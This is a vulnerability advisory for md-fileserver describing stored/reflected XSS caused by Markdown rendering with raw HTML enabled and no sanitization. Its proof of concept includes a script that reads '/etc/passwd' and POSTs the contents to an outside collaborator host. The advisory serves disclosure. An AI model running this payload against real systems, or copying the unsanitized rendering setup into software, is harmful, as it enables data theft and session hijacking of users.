md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)

Summary

A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.

Details

An attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.

Vulnerable Components

config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML.

lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.

lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.

PoC

Create a pwn.md

# Hello

<script>
  fetch('/etc/passwd', { credentials: 'include' })
    .then(r => r.text())
    .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));
</script>

Open it on browser. <img width="944" height="238" alt="image" src="https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac" /> View the HTTP request in Burp Collaborator. <img width="1328" height="468" alt="image" src="https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8" />

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:

• Session hijacking
• Account takeover
• Credential theft
• Defacement or injection of malicious content
• Exfiltration of sensitive data via API tokens, CSRF tokens, or user information

This affects all users who can view Markdown content within the application.